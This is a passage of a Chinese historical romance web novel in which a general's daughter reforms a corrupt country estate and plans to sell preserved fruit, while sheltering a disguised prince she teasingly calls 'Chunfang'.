《春光何处尽》
4. 赏罚
乔杳杳迷迷糊糊坐起来,手边碰到一个热物,心里咯噔一下,搭眼一看,用脚踢他“谁让你爬上来的!”
姚淮序不爱理她,翻了个身,滚到床里侧用被子捂住脑袋。猛地又想起来自己现在是个女子,直直坐起来,和乔杳杳大眼瞪小眼。
乔杳杳有受了惊吓晚上梦游的习惯,她自己知道,掩饰性清清嗓子,又摸摸鼻子,起身洗漱。
姚淮序听着她洗脸水声哗啦啦,干脆也坐起来,去了盥洗室,乔杳杳已经洗漱好坐在梳妆镜前,李嬷嬷收拾地上地铺,沉月给她梳妆,戴好最后一只梳篦悄声问她,“小姐,那位姑娘送回去吗?”
说的是送回乔府,李嬷嬷往屏风后瞥了瞥,小声道,“这事儿得和夫人通个气儿。”
乔杳杳挑着珠钗,点头,“一会儿先问问她,没什么事就让她走吧,又没受什么伤。”停了一下又道,“嘴里没一句实话。”
李嬷嬷不安,“也是,送走吧小姐。”
姚淮序出来,头发还是乱着,眉眼低垂,在纸上写道,“我是雨林山庄的少主,出来游历,不是坏蛋。”
雨林,霖,乔杳杳看完字又去看他,这会儿乖巧的倒是让人心情愉悦,问他,“不想走?”
“嗯,想跟着你。”
乔杳杳笑,“山庄少主跟着我干什么?不是下山游历吗?”
这次姚淮序想了很久才写下来一个合乔杳杳胃口的蹩脚理由,乔杳杳的双鬓都要梳好他才慢悠悠拿过来给她看,“你很漂亮,我没见过你这么漂亮的人。我没地方去。”
她知道他在说谎,可还是心情大悦,姚淮序心道,罪过,罪过。
跟昨天晚上的话比乔杳杳很相信刚才的话,江湖向来不参与朝廷纷争,很少人知道太子妃和山庄的关系,最关键的是于伯昨天折返回去看那火堆。
乔杳杳去的早,火堆没烧透,后面自己就灭了,于伯在里面发现了山霖山庄的剑穗儿。
三两下思索便让乔杳杳便决定让她留下来,总不能硬赶人走吧。
不过乔杳杳更多的是因为那个剑穗儿,山庄人才有的剑穗儿。
山霖山庄挨着北郡,山庄被屠的消息早就传到了北郡,别人或许还不知,乔府因着山霖山庄的恩情难免关住,早就知道了。
她思酌一会儿,开口道,
“但是我没有多余的侍女丫鬟婆子伺候你。”言外之意就是在我这院子里你要自食其力,时不时还要伺候伺候我。
真霸道。
姚淮序忍住想撕纸的冲动,模仿都城世家贵女的端庄,点头露出一个标准笑容,得体又大方,还带着些许善解人意。
李嬷嬷没想通其中关巧,只以为是个来路不明的女子,不过不好再说些什么。
早膳是两人份的蒸饺和八宝粥,再配着几样精致小菜。
乔杳杳朝沉月招招手,把桌子上的一碟蒸饺推给她,她眼睛都亮了,直冒星星。
“谢谢小姐!”
姚淮序不动声色打量,心想,这对主仆倒是有意思。
吃过早饭后乔杳杳看账本,吩咐于伯回乔府传个信,顺便给姚淮序买两身成衣,穿着她的总归是不大合适,想了想,让李嬷嬷也跟着去了,买衣服这事儿嬷嬷跟细心一些。
瞧着一切都好,但李管事可就惨了,半夜带着人整出来账本吭哧吭哧送过来结果门关着,小厮上前扣门环,于伯出来告诉他们等小姐醒了再让他们进来。
他脸都要笑烂,“要不我们就先回去明日再来?”
于伯认真道,“小姐一会儿就醒了。”
春三月的晚上依旧寒风料峭,等了一炷香又一柱香,于伯刚开始还开门说快了快了,后面压根门都不开。
这李管事倒也是个“实诚人”,心里有鬼明知是磋磨又怕真的临时召他看账本,哪有大晚上看账本的道理?可他愣是心虚没敢走。
要说他胆子小可他敢贪主家东西,昧下主家钱财;可说他胆子大他又在这门外边等了一晚上,真是个奇怪的人。
乔杳杳看账本只翻了两页就一把扔到院子里,火气不小。
“混账玩意!什么破烂账!一群没良心的混账玩意儿!”
沉月连忙出来捡,姚淮序竖直耳朵,心道,这是又骂谁?不禁坐直身子。
“李嬷嬷。”
李嬷嬷听着院子里的动静吓一跳,连忙应声,“欸!小姐有什么事?”
“你让于伯通知庄上各个管事去田边等着,各自要拿各自的账本,佃户也要叫着来。”
乔杳杳把账本一把从屋子里扔出来,沉月连忙出来捡,姚淮序坐直身子,好大的脾气。
沉月顾及着姚淮序在欲言又止。
“怎么了是?直接说吧。”
沉月问道,“为何不叫了管事们来院子里看账?”
她顿了顿,道,“这庄子上的账是乱的,就是不知道这几个管事有没有串通好。昨天就叫了李管事候着看账本,想必那几位早就听见了风声。总账本是总的,可各个管事必定有他们自己的,若是提前串通好再怎么看也瞧不出来…可……里面有笔账不对。”
沉月追问,“哪笔账?”
乔杳杳摇摇头,“还不确定,去了就知道了。东西可都准备好了?”
“小姐放心,都准备好了!”
乔杳杳走到门口,回头看姚淮序,“愣着干嘛?走啊!”
“小姐,春姑娘受着伤。”李嬷嬷提醒道。
“快点吧。”
乔杳杳心想:装的,一个大骗子,都是装的!
姚淮序快走两步跟上,脸色难看,你才叫春姑娘。
是个艳阳天,田边小风吹着乔杳杳的帷帽直往上撩,乔杳杳干脆摘掉,风把她鬓边碎发吹起来,早上抹的头油香飘散开。
李嬷嬷接住帷帽,下意识又想给她戴上,乔杳杳伸手一推,“不碍事。”
她坐下第一个就看见李管事那张满是哀怨、隐忍的苦瓜脸,眼下黑眼圈明显,乔杳杳强忍着笑意亲自倒了两杯茶水,请李管事和另外两位管事坐下。
“身边丫鬟心疼我竟是让李管事生生等了一夜,说起来您也是长辈,真是没了规矩,回去我便训斥那不懂事的婢女给您赔罪。”
李管事浅抿一口,心气儿顺了不少,端着架子道,“小姐言重,左右小姐才是主家,就算是再等上一天一夜小人也不敢有半句怨言。”
乔杳杳垂眸笑了笑,喝了一口烫茶不接话,翻看起账本另起头说了另一件事,“三位都是庄子上的老人,干了这么多年没有功劳也有苦劳,底下的佃户也是日日风吹日晒为着这几百亩田地奔波。”
姚淮序看着他们来回演,眯着眼睛打量日光,端着大家闺秀的架子隐隐露出几分不耐。
三位管家后面站着一群粗布麻衣的佃户,大多拘谨,各别胆大的时不时偷瞧乔杳杳,瞧这位庄家的三小姐,人小可排场不小,容貌昳丽,举手投足都是矜气娇贵,也不知在这庄子上住不住的了。
“干得好乔家自然是要赏,干的不好主家也要照例罚。”
王管事恭维道,“这是自然。”
“这位便是王管事吧?”
“正是小人,三小姐聪慧。”
乔杳杳依旧端着笑,率先把吴管事的账本推到三人面前。吴管事是他们三个人里面最拘谨、瞧着实诚的人,当即有些惶恐,开口问道,“可是有什么不妥?”
乔杳杳摇头,“吴管事的账清晰明了,有入有出,管着庄上的果园,利润小勉勉强强竟然还有些入账,可见吴管事素日勤恳一心一意为庄上操劳,手底下的佃户也定是勤勉,这果子的钱可不好挣。当赏,沉月!凡果园佃户一户一贯钱,家有七十老母可多得一贯,吴管事得一百两。”
吴管事猛地起身,哆哆嗦嗦从沉月手里接过银票,脸上洋溢出喜悦,眼中又惊又喜,他的衣服和后面那群佃户是一种料子,而且账本漂亮,不似李管事交上来的面上功夫十足内里十无,吴管事在这庄子上鞠躬尽瘁,尽心尽力,这是他应得的。
李管事和王管事脸上五颜六色,乔杳杳故意顿了等沉月把后面佃户的银子一并数了给吴管事后才继续道,
“王管事和李管事各管一百五十亩,是否?”
“是。”
“且不说去岁是否风调雨顺,单前年庄子上便是大
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丰收,粮价客观,是否。”
王管事擦擦汗,躬身道,“是。”
李管事的拳头慢慢握紧,眼神越发阴翳,也道,“是。”
“可今年不但买了新种子还填了新耕牛,可见王管事和李管事对于田地不大上心,否则丰收之年居然是个平账!”
她把茶盏一扫而落,怒意冲天,三人齐齐跪下,王管事辩驳道,“田里的事情小姐可有所不知,全是靠老天吃饭,前年确是个丰收年,可别家的麦子也比庄子上的好自然咱们的就卖不上什么高价钱。”
“哦?好在哪里?”
王管事诚恳道,“别家的耕牛多佃户也多,况且庄子上的麦子有一大半都缴纳田税,或送军营供将士们裹腹,能平账已是幸事。”
乔杳杳冷笑,“这乔家是姓乔还是姓王?真当我什么都不知道拿我逗乐?”
乔杳杳不爱读书却跟母亲学了算账的本领,继来过往,算的一手好数。
王管事惶恐道,“不敢。”
“交多少税,送多少粮你我都清楚,念在王管事和李管事是初犯,母亲大量只派了我前来管事,依母亲意思两位都是庄子上老人不便重罚,可不罚又难以服众,思来想去折中有个法子。
便是你二人各分给吴管事五十亩良田,那处桑田我会另寻人管着,二位年纪也大想必力不从心,否则怎么会丰收年也入不敷出?不仅账做的糊涂蚕也养得糊涂,管人更是懒惰,两位管事意下如何?”
话里话外没给他们两人留脸,王管事的大权被分瞬间气恼,站起身刚欲发作,不料李管事一口应下,乔杳杳心道,真是个好能忍的人物。
乔杳杳又对着他们身后佃户说道,“从今日起,我便在这庄上住下,日后还要多多麻烦各位。各位都是这庄子上的,庄子上数百亩田地和各位互相倚仗,乔家赏罚分明,器重有才学、忠诚的,若是有觉得哪位管事做的不好的尽可报上来,乔家一向公正。”
乔杳杳想着有人能举报,这样有了人证便能合理去搜李管事和王管事的院子看有没有贪污的账本,可李管事和王管事身后的佃户一言不发,她早有预料,丝毫不意外。
姚淮序看着乔杳杳整治下人,觉得怪没意思,一直走神说了几句都不知道。
希望桃肆此刻已经在北郡了,不然他还要想办法混进城,不过只要跟着这乔三小姐,这段时间应该不会有什么问题,想那些黑衣人本事再大也不敢招惹盛州,乔将军是个厉害武将,呆在这里最安全也最省事,皇爷爷应该着手调查了吧。
打发走众人,乔杳杳到田边转悠,顺便先去了果园,果园的佃户一听是乔三小姐来而且早上刚给发了赏钱个个都欢喜的不得了,又是奉水又是擦凳子,乔杳杳便和他们闲聊起来。
鲜果好卖可只有一阵,剩下的卖不出去便只能储存放在地窖里,冬天好捱可春天一到果子就开始少水分,味道都涩上三分,如今还剩半地窖的果子,吃都吃不完,得先把这些果子想办法卖出去。
于伯去打探消息刚回,果然不出所料,三位管事数吴管事敦实厚道,王管事是个爱占小便宜却又没主意的,李管事倒是贪财吝啬主意大的,不过两人倒没有欺压佃户的风声,看来只是贪财,昧了主家钱财。
想起来吴管事的粗麻衣裳和佃户们的胆怯模样,乔杳杳有些奇怪,这李、王两人虽贪财却从不欺压佃户,可吴管事怎么瞧着像是没少受他们磋磨,还没想明白又听于伯说李管事家是两进院子刚翻修、李家儿子倒有些仗势欺人、不务正业,乔杳杳没忍住气上心头,真是没了规矩!
去了果园又去桑园,春蚕四月,夏蚕七月,眼看就要到四月,桑宝宝一个个却并不圆实,喂养的佃户松松散散,一想便知道出自谁收下,又嘱咐了两句乔杳杳转身出桑园。
最后还剩田地没看,出门在外乔杳杳就少了许多讲究,看着娇气却又不是,午饭是在果园吴管事准备的,他唯恐不合乔杳杳口味,谁知乔杳杳吃完还说了好吃,
吴管事松一口气,大喜。
这么一天走下来乔杳杳心里有了数,坐在马车里又盘算她的红珠算盘,时不时和于伯搭两句话,问今日他打探到的消息。
5. 春芳,倒茶
翌日一早于伯和李嬷嬷赶回北郡城内。
于伯已经把事情告诉乔母,正巧乔将军也休沐在家,
乔将军道,“据传山霖山庄庄主是有一个女儿,不过外人没见过,我派人去打听那天山霖山庄让仇家追杀确实是逃出来一个人,想必就是她了,
约莫着应该是庄主叫她来北郡的,这事儿别往外传,让那孩子安心住下。山霖山庄庄主时常来在北郡边界施粥,是个好人,况且对咱家本就有恩。”
乔夫人叹了口气道,“她也是个可怜孩子,她到北郡阴差阳错叫元娘遇上也是缘分。她可知道咱们是乔家?”
于伯答道,“应是知道,马车上有乔府的标志,庄子里随便一问也都知道是北郡乔家。”
乔夫人又叹口气道,“她既然知道又不说也许就是不想让人知道,不点明便是不想用之前的事挟咱们还情,唉……”
乔将军宽慰夫人,“江湖上恩怨多咱们鞭及莫长,但既然苏庄主的遗孤在北郡地界,护个人也不是什么问题。”
乔夫人点头继续道,“一时间这个伤心事咱们也别上赶着戳人心肺,暗中多照料些,跟元娘通气咱们就当不知道,在庄子里住下就是了,回头等她们回郡再好好和那孩子聊聊,能帮则帮。”
乔将军点头,气愤道,“真是歹毒,整个山庄竟然都没有活口,江湖上恩怨多却未见过如此心狠手辣之人,现在把人护好最是紧要,庄子上比郡内安全很多,就让俩孩子先呆在庄子里吧。”
他继续问于伯,“庄子上可干净。”
于伯回道,“除了账本乱一些没什么大事,几个管家都是老人,剩余佃户进庄子之前也都是查过户籍的。”
乔母附和道,“我之前看过,不过是有几个管家这两年不安分,贪了庄子上的钱,不是什么大事,正好锻炼一把元娘,就让她去了。诶,那如今那个孩子住在哪里?”
李嬷嬷犹豫道,“春芳姑娘和小姐住在一处。”她没敢说小姐让人睡地铺,可地方就那么大,乔夫人一时间也没往那处想。
乔夫人摆摆手,“没事儿,你多瞧着点,别让那姑娘出点什么事,也是个可怜人。”
乔将军问,“云娘怎么样了?”
谈到乔杳杳于伯和李嬷嬷便笑,“小姐是个有主意的,人也聪慧,将军放心。”
乔夫人问,“没嫌弃那院子破?没摆谱子?”
李嬷嬷笑道,“没有,小姐懂事的很。”
乔夫人压不住笑意却摆着脸道,“哼,一定是把庄子闹腾死了。”
乔将军知道她疼女儿,开玩笑问,“不帮帮?”
乔夫人端起茶盏,“不帮,连几个管事都收拾不了将来怎么管家?怎么做一家主母?不好好读书那么皮,合该让她吃点苦头!”
在讨论要不要帮的主人公正在果园子里看果子,吴管事给她切了一个,乔杳杳看着盘子里的果子出神,姚淮序也盯着果子看。
这果子已经开始缩水,切了只看果肉不明显,可外皮已经有些皱巴,不大好看。
“吴管事,一般庄户怎么储存食物?”
吴管事不假思索答道,“大多是地窖……”
“不是这个,是吃食,比如腌菜,对了腌菜!腌菜是拿盐腌了能放好久,但是这果子也不能拿盐腌……”
刚有些苗头却又不可行,沉月惊喜道,“小姐,是糖渍果子!刘奶奶家的糖渍果子是北郡最好吃的!”
乔杳杳眼睛也一亮,瞬间有了主意,“吴管事!咱们做糖渍果子!”
吴管事犹豫道,“可糖渍果子是能储存,可郡内大多点心铺子都会卖,况且几本没有家户会买一大批糖渍果子,大多吃个新鲜。”
乔杳杳胸有成竹,反问道:“爱吃糖渍果子的一般是什么人?”
沉月答道,“多半是小孩儿和姑娘家。”
“那一般糖渍果子是拿什么装的?”
吴管事答道,“都是纸包,然后打好结。”
“咱们用罐子。”
“啊???”
姚淮序瞧她,乔杳杳喜上眉梢,“定制两种漂亮罐子,小的装糖渍果子,要那种好放好拿的那种,另一种大些的罐子咱们装糖水果子。”
沉月问,“小姐,糖水果子是什么?”
姚淮序心里不屑面上却不显,糖水果子,也就她能想出来了,怕不是她自己馋了。
“当然就是糖水里面煮果子啦!”她理所当然,其实这是盛京的一种吃法,她也只听说过。
吴管事踌躇。
“吴管事,去叫厨娘试试,把果子和糖水一块儿熬。”
吴管事擦擦冷汗下去吩咐,厨娘一听,糖水果子?莫不是哪个世家富商的吃食?心下有些哆嗦,她能做的好吗?
哆嗦归哆嗦,厨娘干活更利索。
她先支了锅把果子煮熟,为了好看些把皱巴的皮都削掉了,切成差不多大小的几块儿,瞧着差不多了把糖水锅支起来,再把果子扔进去,来回搅巴。
盛出来四碗端到乔杳杳面前的桌子上,颜色透亮,果子也是那种熟透了的样子。
乔杳杳咬了一口,果肉软是软,不入味儿,不甜,怎么都是糖做的口味差距却这么大?
沉月端了一碗站着尝,糖水没那么甜,果肉有些寡淡,少了些味道,是什么呢?
姚淮序那碗一直没动,乔杳杳再次思考,还有没有什么别的办法能把这果子卖出去,只买糖渍果子肯定是不行的。
吴管事提议道,“小姐,要不做果脯吧。我年轻时走南闯北在锦州呆过两年,那边人会做果脯。”
姚淮序听到“锦州”两字条件反射瞬间警惕,暗中打探吴管事,看对方没有异常后错开视线,当什么都没有发生过。
乔杳杳问,“果脯怎么做?”
吴管事回忆着道,“就是把果子煮熟后再晾干。”
这倒是简单,她想了想,拨弄红珠算盘,
“如今地窖里有两百斤果子,先做五十斤糖渍果子和五十斤果脯,分别再从外面采购了罐子去装,要挑那些小巧精致的,和装蛐蛐儿的差不多,但一定要漂亮,分别先拿去茶肆、评书和戏楼去卖。”
“罐子要烧制,把价钱谈在一只罐子十文左右,茶楼那些本就是吃个闲嘴,不会吃太多,做多大的罐子你要心里有数,糖渍果子卖一罐三十文,果脯就卖二十文,把罐子前算进去,做的好的罐子客人们也愿意带走,贵些也愿意买。”
吴管事应下,“庄子上流动
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的钱都在李管事那里管着,支多少要李管事盖章。”
不提李管事乔杳杳都要忘了这两人,心里边儿打起别的算盘,“不走公章,你去找李管事就说我觉得上次罚得厉害了,心里过意不去,现下将分出来的田亩再给李管事和吴管事分回去,但是要他们两人一人拿出两百两。”
吴管事瞠目结舌,小姐这不就是换个法子直接抢他们二人的私产吗!!
乔杳杳就是这个意思,这么些年他们两人贪的也不止这两百两,出了便出了。
有人撑腰说话硬气三分,吴管事昂首挺胸带着小厮就去了李管事家。
沉月端起乔杳杳那碗,已经凉了,乔杳杳劝道,“沉月,凉了都,别吃了。”
沉月已经咬了一小口,心里暗自较量,“小姐,凉的好像要比热的好吃些。”
乔杳杳一听,便把姚淮序的直接拉到自己面前尝了一口,姚淮序看着她,心想,好生霸道,乔将军被封为大将军,乔家世代忠勇,老祖宗知道乔家养出这么个“野鸟”吗?
确实是,凉了的好吃些,但还是差些味道,差什么呢?
乔杳杳一抬头看到姚淮序挑着眉,今日精气神明显比昨天好很多,“你眉毛抽筋儿了?”
姚淮序脑子里的青筋强劲跳动两下,假装矜持笑吟吟拿茶杯里的水蘸在桌上写道,“没有。”
乔杳杳激灵一下,对了,是冰糖!冰糖更甜一些,厨娘下意识一听糖水便会拿红糖做。
“沉月,你去和厨娘说换成冰糖再试试,晾凉了以后再端上来。厨娘们经验更多,你和厨娘商量着些,若是谁做出来的更好便赏。”
“小姐赏多少合适?”
“做都没做出来,就问赏呀?”她拨弄红珠算盘估摸着那一百斤的旧果子应当能买百十两,那就,“赏十五两。”
姚淮序目光落在红珠算盘上,眼睫眨了又眨,真抠。
沉月应声下去安排,屋子里就剩乔杳杳和姚淮序,姚淮序自顾自倒了一杯茶,这茶还是吴管事翻了老底拿出来的珍藏,可见平时吴管事确实节俭。
可吴管事既然知道李管事和王管事有猫腻,为什么不上报主家呢?乔杳杳垂眸,也许是报过,可报过母亲就没管过吗?是没报上去还是没管?
乔杳杳更偏向于后者。
手里离不开红珠算盘,圆润的算珠子让拨弄的噼啪作响。
一抬头看见姚淮序正在喝茶,乔杳杳漫不经心道,“春芳,我不养闲人。”
姚淮序回神,默然拿起茶壶给她斟茶,乔杳杳理所当然地边一边抿茶一边拨弄算盘。
她还想拿那块儿荒地养鸡,来庄子的路上观察了大大小小的商贩,大的吃食铺面都有固定专供蔬菜、禽肉的田庄、禽场,她这小田庄人可瞧不上,所以要着重看小铺面,眼高手低瞧不上可不行。
小铺面卖鸡肉的最多,有熏鸡、烤鸡……,最关键是鸡可以蛋,鸡蛋可以和酒楼那些谈了单子供应,再不济也可以腌成咸鸡蛋,不论是早上早点铺子还是酒楼炒菜都可以供应点,酒楼不专门腌制,那她们便可讨这个便宜。
买鸡仔的钱,乔杳杳想了想,还是要从李管事和王管事那里拿。这都算作前期投入,他们两人拿底钱一点都不冤。
6. 我不叫春芳
姚淮序被打断走神以后百无聊赖喝茶,算不上好茶,甚至可以说是他喝过最差的茶,又涩又苦,多亏铭记自己是个哑巴女子身份,不然就要破口大骂了。
他本来等着少女尝完茶以后苦得五官缩在一起看她笑话,尤其是吃过甜的苦味更明显,但乔杳杳一心只顾着赚钱,除了眉头皱了皱没别的反应,他又觉得无趣。
藏在这里是安稳但也无聊,每天看乔杳杳因为这个田庄赚钱拿着她的小算盘拨来拨去。
有糊涂账便有糊涂管事,她不先换掉人便想赚钱,姚淮序深觉难成气候,尤其她还是个抠门的,他以往赏赐最次也是百两白银,到了小庄子上真是长了见识。
不过也难说,他低头思考,寻常百姓家或许一辈子都见不了一百两银子,可乔杳杳是盛州大将军乔家的嫡三女,怎么这么抠门?现在就懂得从管事手里套贪污的钱,以后是不是也会学奸利商人一毛不拔?
皇爷爷也不知道清理完那些刺客没有,桃肆会知道那是他留的记号吗?还有……
姚淮序垂眸,陷入自己的世界。
“又发什么愣?去看看沉月怎么还不回来?”
乔杳杳弹他脑门,不轻不重,姚淮序一时愣住,不可置信地看她,她就乐,“傻啦?”
姚淮序起身一言不发转身出去,他是客人!简直是大胆!活主子!
乔杳杳根本不在意姚淮序走之前带着怨愤的小眼神,他穿着自己那套浅粉交领莲花纹长裙,脖子上还缠着布带,发髻是李嬷嬷给梳的,梳的时候李嬷嬷开玩笑道这秀□□亮,戴再多珠钗也能撑得住。
这一句揶揄听得乔杳杳回头望,确实是,漂亮的大脑袋,就是少些女子的温婉,虽然他总是努力表现的像个大家闺秀,骨子里却难以掩饰。
既是江湖中人,想必江湖儿女大多都是这般,要是再多几分肆意不知得多明媚。
乔杳杳滑弄算珠,阳光落在她素白指尖,心想,春芳装世家女一点都不像,虽然他整个人瞧着端庄淑雅,可骨子里确是个散漫的,要是问乔杳杳为什么知道,自然是因为她也是如此。
若是恢复了山庄少主的身份,又会是个什么样子?她想象不出来,更为好奇。
庄上的婆子们一听有赏又是给果园赚钱的法子便热热闹闹的七嘴八舌开始讨论。
“不能拿热水泡,要烫坏!”
“冰糖怎么放?!张婶子,你有经验你来说。”
“六婆子腌菜最好,还是去问问刘婆子吧!”
“可不是,巧妇难为无米之炊,糖水果子,到底是个什么?”
“赏金难赚喽!”
……
姚淮序一点都不想靠近,老远就能听见那群婆子们叽叽喳喳,眼睛还尖。
“沉月姑娘,那也是你家小姐吗?”
“好生漂亮,本以为乔三小姐就够顶足漂亮,谁知这世上还有第二个仙女?哈哈哈哈哈哈”
“哈哈哈哈哈哈哈小声点小声点,春娘在里面呢!”
“诶呀!春娘是咱田庄最漂亮的嘛!”
“那确实是,不过吴管事夫人也很漂亮!”
“我老觉得吴管事夫人和李管事夫人,是不是亲姊妹呀?!”
“不过说到这里,我好些时日没见吴管事夫人了。”
沉月回头一看,心里这么想也就这么问了,“咦?春芳,你怎么出来了?”
姚淮序非常非常非常不喜欢这个名字,又好笑又好气,
春芳?乔杳杳就是故意的,他明明给她写了自己名字,不认真看,来来回回还叫春芳,整个田庄的人都要知道春芳是他的名字了!
姚淮序想走,不想再在乔杳杳这破田庄里呆着,气煞人也,堂堂一个皇太孙,他什么时候叫过春芳?受过这种委屈?
她才叫春芳,乔春芳!
姚淮序为了维持人设对沉月盈盈一笑,十分勉强,僵硬着笑容扭头就走,走到田庄村口,于伯驾着车回来了,下意识也是喊,“春小姐,你去哪里?”
姚淮序觉得,人怎么能有这么大恶意?他不叫春芳!!!
糖水果子完全是一个新东西,前前后后试了几种办法都不能让人很满意,就先搁置再试试。
吴管事从果园出去后一直没回来,乔杳杳带着沉月和姚淮序又去了桑园,蚕宝宝欢快的吃着新鲜桑叶,可见上次的她的话还是有些作用,后面就回了住的院子。
于伯和乔杳杳说了山霖山庄发生的事情以及姚淮序的处境后乔杳杳倒是没多大反应,或许是在意料之中。
她一个姑娘家从山霖山庄过来除了脖子上有伤口、发热以外并无其他不舒服,吃了两贴药就跟没事人一样,肯定自小体格子好,而且一路出逃逃到北郡肯定有些倚仗,比如暗卫之类的。
现在之所以愿意留在这破田庄偶尔还要听她使唤可能是因为乔家这块儿保护罩安全,又或者是暗卫为了保护她尽数被杀,甚至有可能她要等着不知道的一个人来找她或去复仇或去振兴她山霖山庄。
总归现在住在这里就是她临时一个落脚处,还不想让别人发现,或许是仇家吧,而且她没主动开口意思也就是不会借助乔家势力,这对乔家来说,极好,不用趟浑水,有什么不好?
再有,若是让仇家发现,凭借乔府在北郡的地位名声,盛京要动乔家也要掂量掂量,无故生惹没必要的事端除非到了鱼死网破,没人愿意这样做。
若是这事让盛京那边知道,乔家便可以说是报恩,山霖山庄对他家有恩这又是个事实。
不过,盛京那边又怎么会知道北郡的事情?
除非……但这可不能瞎说,盛京防着北郡乔家凭借地势独大便让北郡供边州十六城的兵马粮草,一开始只有四分之一后面又加了量。
当年一同御敌,封沈家为侯爷、乔家大将军,说起来沈家比乔家还要惨烈,乔家还剩乔万屹这一支,沈家只有一个遗孤如今该袭爵为侯了,在盛京天子脚下。
功劳相近,
可……
这不能乱说。
乔杳杳想,住着就住这吧,就是她这一脸不高兴在不高兴个什么劲儿?不短她吃不短她喝,提供地方给她住,李嬷嬷还给她带来了新的成衣,她都没嫌弃要和她挤一张床,真是没事找事。
于是气不打一处来,“春芳,我要喝水!”
姚淮序本来坐在门口逗小狗,耳朵听
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见李嬷嬷和沉月抱怨今天马车上不知怎么放的一袋豆子时不时漏两个,还好一进城门就让人看见提醒了,不然那袋豆子要漏完,姚淮序听着不说话,没了逗弄小狗的心思。
突然乔杳杳叫她,干脆没洗手直接进屋给她倒茶,于伯又想起来一件事,问道,“小姐,将军说回府后要看小姐的字!”
乔杳杳不可置信,“我每天都为了田庄奔波来奔波去,绞尽脑汁想怎么管庄子,哪里有时间练字?!”
于伯但笑不语,乔杳杳接过姚淮序的杯子,不经意闻见姚淮序手上的味道,“你手干什么了?这是什么味道?”
姚淮序端着茶杯没动,乔杳杳又凑近闻,他下意识缩手却被乔杳杳抓住,少女的鼻子凑近了嗅,手指头痒痒的,气息洒在他手上,浑身觉得要长毛毛。
外面传来两声狗叫,乔杳杳惊恐躲得远远的,“你怎么不洗手?!太恶毒了吧你!”
姚淮序怨幽幽地看着她,乔杳杳问,“早上不是好好的吗?你在不高兴什么?我都没生气啊不是我生气了!很生气!”
姚淮序哑住,眼睛里明晃晃写着,烦。他装淑女简直就是漏洞百出,他骨子就不是这样的人。
乔杳杳一说,于伯也悄悄看姚淮序,看不出来。
不过他福临心至,乔将军说山霖山庄的庄主姓苏,人不叫春芳!她家小姐叫的顺口也没人知道姑娘真叫什么,一时间他们还信了,今日回乔府也这么叫,真是闯了祸。
于伯心虚连忙提示道,“小姐,春哦不是,苏小姐姓苏。”
乔杳杳觉得莫名其妙,“苏小姐苏小姐,不姓苏姓什么?”
说完她就反应过来,顶着姚淮序幽怨的眼神,问,“你姓苏?”
姚淮序点头,心道蠢货,生怕她再叫自己春芳,可谁知下一句就是,
“苏春芳?”
姚淮序重重把茶盏放在桌上,本来打算直接出门走到门口愣是转到书案前面,安慰自己再找一个地方很费劲,拿起毛笔,他笔迹俊秀,“苏清序”
“苏,清,序,”
难得乔杳杳夸了一句,“好名字,清雅,丽质,和你这个人一样,不过你在家里排清字辈吗?”
姚淮序点点头,乔杳杳很喜欢这个名字没忍住又夸赞一遍,“真是个好名字。”
于伯也点头,在一旁提示道,“苏小姐的字也漂亮得很,端正笔直,内蕴气道风骨,可见下足了功夫,字如其人,教习先生也定是位有风骨的夫子,小姐可以跟着苏小姐学字。”
姚淮序不自觉挺直身板,像个骄傲的小孔雀,乔杳杳震惊问于伯,“这怎么可以!”
于伯挠后脑憨厚笑道,“既然小姐说不行,那回府后小姐定能自己练好,将军一定会满意的。”
乔杳杳烦他,“于伯你快去看看吴管事的事办了好了吗?对了于伯,母亲之前知道这庄子里的事情吗?”
于伯摇摇头,还想再嘱咐两句被乔杳杳看透意图,催促着出了屋。
“
嘴里还嘟囔着,“你怎么之前不说你的名字这么好听?”可见她是真欢喜,拿着那张纸还在看,姚淮序勾唇,心想,就不计较她之前不认真看的事情了。
7. 以春为饵,垂勾新生
晚上睡觉,乔杳杳躺在床上,姚淮序自觉躺在地铺上。
乔杳杳叫他,“清序,你多大了?”
姚淮序假装睡着,后背对着他,乔杳杳不死心,从被衾里露出来圆润的脚趾丫在黑暗中去踢他的后背,说是踢其实就是轻轻碰在了他的后腰上。
姚淮序跟让烙铁烫了一般,囫囵起身,不可置信,如遭雷劈。
张口想说什么又想起自己是个哑巴,生生忍住,把铺子拉得远了些,重新躺下。
乔杳杳心里都是田庄怎么处理那三位管事以及怎么赚钱的事情,根本睡不着,烦,不死心又去招惹姚淮序,“苏清序,我在问你话,你不能这样。”
“苏清序,我要让你去找李嬷嬷睡喽~”
他相信这是她能干出来的事。
躺了一会儿认命起身,点着书案的灯盏,在纸上写下,“十五”。
乔杳杳眯起眸子细看,鹅黄色暖灯打在他脸上,“有人说过你有观音像吗?”
这是一个很友善的说法,没有人不喜欢被说有观音像,这被认为是神明的赐礼。
姚淮序不是。
这个词勾起了姚淮序一些好与不好的记忆。
他小时候被皇爷爷说观音像,很招人喜欢,
父亲说,他的观音像是提醒着姚家世代要以民为本,守帝王之家,黎民百姓乃一国之根本。他告诉姚淮序要做一个善良有慈悲心肠的人。
皇爷爷也说过将来要教他御下之术,让他也要铭记民是根本,这才能和他的观音像对上,不负上苍指示。
唯独皇叔不喜欢他,他皇叔会跟他说都是因为他的观音像他父亲才会成为太子他才会成为皇太孙,悲天悯人非帝王相……
皇叔不喜欢也不承认他们说的。皇叔讨厌他的观音像,他知道皇叔是错的,可他也讨厌自己的观音像。
因为,这个,好像是灾难的开始。
姚淮序一言不发躺回地铺上,盖上被子,把脑袋也蒙住,乔杳杳一怔,这又在不高兴什么?
她说了什么?观音像?这有什么不高兴的?明明是一句夸赞,别人想听都来不及呢,为什么要生气?难道没人说过吗?
突然乔杳杳意识到,一定是说过的,她不高兴可能就是因为观音像,说的多了,给她招来了祸端,给山霖山庄招来了祸端,甚至她不会说话也是……
乔杳杳躺在床上,仰头望着床帷帐顶,试探着道,“清序姐姐,我十四岁,我叫你姐姐吧。”
对方没反应。
乔杳杳从床上坐起一跃踩在地铺边边,蹲在姚淮序身边,“阿序姐姐,我害怕,你跟我睡吧。”
姚淮序一顿,他可不敢,马上四月,虽然在地上打地铺有些凉,到了晚上更是寒意更甚,他宁愿寒气入骨他也不去,昨天晚上那是侥幸没被发现,怎么可能自投罗网。
十五岁少年的身姿虽不明显,但已经隐隐约约有了男人轮廓,终归是不一样的,况且男女授受不亲,疯了真是。
地铺打得够宽,足够两人躺下,乔杳杳就隔着被子躺在旁边,没说两句话就打冷颤,“你教我写字,我就不让你去和李嬷嬷睡了。”
姚淮序没反应。
